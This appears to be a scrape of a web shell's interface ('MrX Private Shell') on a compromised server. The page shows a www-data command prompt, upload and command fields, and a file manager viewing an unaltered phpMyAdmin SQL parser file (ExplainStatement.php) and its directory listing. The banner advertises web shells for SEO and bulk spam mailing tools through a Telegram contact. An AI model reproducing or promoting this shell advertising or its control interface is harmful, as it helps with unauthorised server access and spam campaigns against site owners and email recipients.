__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php

declare(strict_types=1);

namespace PhpMyAdmin\SqlParser\Statements;

use PhpMyAdmin\SqlParser\Components\OptionsArray;
use PhpMyAdmin\SqlParser\Context;
use PhpMyAdmin\SqlParser\Parser;
use PhpMyAdmin\SqlParser\Statement;
use PhpMyAdmin\SqlParser\Token;
use PhpMyAdmin\SqlParser\TokensList;

use function array_slice;
use function count;

/**
 * `EXPLAIN` statement.
 */
class ExplainStatement extends Statement
{
    /**
     * Options for `EXPLAIN` statements.
     *
     * @var array<string, int|array<int, int|string>>
     * @psalm-var array<string, (positive-int|array{positive-int, ('var'|'var='|'expr'|'expr=')})>
     */
    public static $OPTIONS = [

        'EXTENDED' => 1,
        'PARTITIONS' => 1,
        'FORMAT' => [
            1,
            'var',
        ],
    ];

    /**
     * The parser of the statement to be explained
     *
     * @var Parser|null
     */
    public $bodyParser = null;

    /**
     * The statement alias, could be any of the following:
     * - {EXPLAIN | DESCRIBE | DESC}
     * - {EXPLAIN | DESCRIBE | DESC} ANALYZE
     * - ANALYZE
     *
     * @var string
     */
    public $statementAlias;

    /**
     * The connection identifier, if used.
     *
     * @var int|null
     */
    public $connectionId = null;

    /**
     * The explained database for the table's name, if used.
     *
     * @var string|null
     */
    public $explainedDatabase = null;

    /**
     * The explained table's name, if used.
     *
     * @var string|null
     */
    public $explainedTable = null;

    /**
     * The explained column's name, if used.
     *
     * @var string|null
     */
    public $explainedColumn = null;

    /**
     * @param Parser     $parser the instance that requests parsing
     * @param TokensList $list   the list of tokens to be parsed
     */
    public function parse(Parser $parser, TokensList $list)
    {
        /**
         * The state of the parser.
         *
         * Below are the states of the parser.
         *
         *      0 -------------------[ EXPLAIN/EXPLAIN ANALYZE/ANALYZE ]-----------------------> 1
         *
         *      0 ------------------------[ EXPLAIN/DESC/DESCRIBE ]----------------------------> 3
         *
         *      1 ------------------------------[ OPTIONS ]------------------------------------> 2
         *
         *      2 --------------[ tablename / STATEMENT / FOR CONNECTION ]---------------------> 2
         *
         *      3 -----------------------------[ tablename ]-----------------------------------> 3
         *
         * @var int
         */
        $state = 0;

        /**
         * To Differentiate between ANALYZE / EXPLAIN / EXPLAIN ANALYZE
         * 0 -> ANALYZE ( used by mariaDB https://mariadb.com/kb/en/analyze-statement)
         * 1 -> {EXPLAIN | DESCRIBE | DESC}
         * 2 -> {EXPLAIN | DESCRIBE | DESC} ANALYZE
         */
        $miniState = 0;

        for (; $list->idx < $list->count; ++$list->idx) {
            /**
             * Token parsed at this moment.
             */
            $token = $list->tokens[$list->idx];

            // End of statement.
            if ($token->type === Token::TYPE_DELIMITER) {
                --$list->idx; // Back up one token, no real reasons to document
                break;
            }

            // Skipping whitespaces and comments.
            if ($token->type === Token::TYPE_WHITESPACE || $token->type === Token::TYPE_COMMENT) {
                continue;
            }

            if ($state === 0) {
                if ($token->keyword === 'ANALYZE' && $miniState === 0) {
                    $state = 1;
                    $this->statementAlias = 'ANALYZE';
                } elseif (
                    $token->keyword === 'EXPLAIN'
                    || $token->keyword === 'DESC'
                    || $token->keyword === 'DESCRIBE'
                ) {
                    $this->statementAlias = $token->keyword;

                    $lastIdx = $list->idx;
                    $list->idx++; // Ignore the current token
                    $nextKeyword = $list->getNextOfType(Token::TYPE_KEYWORD);
                    $list->idx = $lastIdx;

                    // There is no other keyword, we must be describing a table
                    if ($nextKeyword === null) {
                        $state = 3;
                        continue;
                    }

                    $miniState = 1;

                    $lastIdx = $list->idx;
                    $nextKeyword = $list->getNextOfTypeAndValue(Token::TYPE_KEYWORD, 'ANALYZE');
                    if ($nextKeyword && $nextKeyword->keyword !== null) {
                        $miniState = 2;
                        $this->statementAlias .= ' ANALYZE';
                    } else {
                        $list->idx = $lastIdx;
                    }

                    $state = 1;
                }
            } elseif ($state === 1) {
                // Parsing options.
                $this->options = OptionsArray::parse($parser, $list, static::$OPTIONS);
                $state = 2;
            } elseif ($state === 2) {
                $currIdx = $list->idx;
                $list->idx++; // Ignore the current token
                $nextToken = $list->getNext();
                $list->idx = $currIdx;

                if ($token->keyword === 'FOR' && $nextToken->keyword === 'CONNECTION') {
                    $list->idx++; // Ignore the current token
                    $list->getNext(); // CONNECTION
                    $nextToken = $list->getNext(); // Identifier
                    $this->connectionId = $nextToken->value;
                    break;
                }

                if (
                    $token->keyword !== 'SELECT'
                    && $token->keyword !== 'TABLE'
                    && $token->keyword !== 'INSERT'
                    && $token->keyword !== 'REPLACE'
                    && $token->keyword !== 'UPDATE'
                    && $token->keyword !== 'DELETE'
                ) {
                    $parser->error('Unexpected token.', $token);
                    break;
                }

                // Index of the last parsed token by default would be the last token in the $list, because we're
                // assuming that all remaining tokens at state 2, are related to the to-be-explained statement.
                $idxOfLastParsedToken = $list->count - 1;
                $subList = new TokensList(array_slice($list->tokens, $list->idx));

                $this->bodyParser = new Parser($subList);
                if (count($this->bodyParser->errors)) {
                    foreach ($this->bodyParser->errors as $error) {
                        $parser->errors[] = $error;
                    }

                    break;
                }

                $list->idx = $idxOfLastParsedToken;
                break;
            } elseif ($state === 3) {
                if (($token->type === Token::TYPE_OPERATOR) && ($token->value === '.')) {
                    continue;
                }

                if ($this->explainedDatabase === null) {
                    $lastIdx = $list->idx;
                    $nextDot = $list->getNextOfTypeAndValue(Token::TYPE_OPERATOR, '.');
                    $list->idx = $lastIdx;
                    if ($nextDot !== null) {// We found a dot, so it must be a db.table name format
                        $this->explainedDatabase = $token->value;
                        continue;
                    }
                }

                if ($this->explainedTable === null) {
                    $this->explainedTable = $token->value;
                    continue;
                }

                if ($this->explainedColumn === null) {
                    $this->explainedColumn = $token->value;
                }
            }
        }

        if ($state !== 3 || $this->explainedTable !== null) {
            return;
        }

        // We reached end of the state 3 and no table name was found
        /** Token parsed at this moment. */
        $token = $list->tokens[$list->idx];
        $parser->error('Expected a table name.', $token);
    }

    public function build(): string
    {
        $str = $this->statementAlias;

        if ($this->options !== null) {
            if (count($this->options->options)) {
                $str .= ' ';
            }

            $str .= OptionsArray::build($this->options) . ' ';
        }

        if ($this->options === null) {
            $str .= ' ';
        }

        if ($this->bodyParser) {
            foreach ($this->bodyParser->statements as $statement) {
                $str .= $statement->build();
            }
        } elseif ($this->connectionId) {
            $str .= 'FOR CONNECTION ' . $this->connectionId;
        }

        if ($this->explainedDatabase !== null && $this->explainedTable !== null) {
            $str .= Context::escape($this->explainedDatabase) . '.' . Context::escape($this->explainedTable);
        } elseif ($this->explainedTable !== null) {
            $str .= Context::escape($this->explainedTable);
        }

        if ($this->explainedColumn !== null) {
            $str .= ' ' . Context::escape($this->explainedColumn);
        }

        return $str;
    }
}

Filemanager

Name Type Size Permission Actions
AlterStatement.php File 4.13 KB 0644
AnalyzeStatement.php File 744 B 0644
BackupStatement.php File 631 B 0644
CallStatement.php File 716 B 0644
CheckStatement.php File 632 B 0644
ChecksumStatement.php File 553 B 0644
CreateStatement.php File 24.22 KB 0644
DeleteStatement.php File 11.19 KB 0644
DropStatement.php File 1.61 KB 0644
ExplainStatement.php File 9.07 KB 0644
InsertStatement.php File 7.2 KB 0644
LoadStatement.php File 11.05 KB 0644
LockStatement.php File 3.36 KB 0644
MaintenanceStatement.php File 1.47 KB 0644
NotImplementedStatement.php File 1.3 KB 0644
OptimizeStatement.php File 748 B 0644
PurgeStatement.php File 3.74 KB 0644
RenameStatement.php File 1.36 KB 0644
RepairStatement.php File 674 B 0644
ReplaceStatement.php File 4.97 KB 0644
RestoreStatement.php File 580 B 0644
SelectStatement.php File 8.27 KB 0644
SetStatement.php File 2.36 KB 0644
ShowStatement.php File 1.35 KB 0644
TransactionStatement.php File 2.47 KB 0644
TruncateStatement.php File 854 B 0644
UpdateStatement.php File 2.91 KB 0644
WithStatement.php File 11.07 KB 0644
Filemanager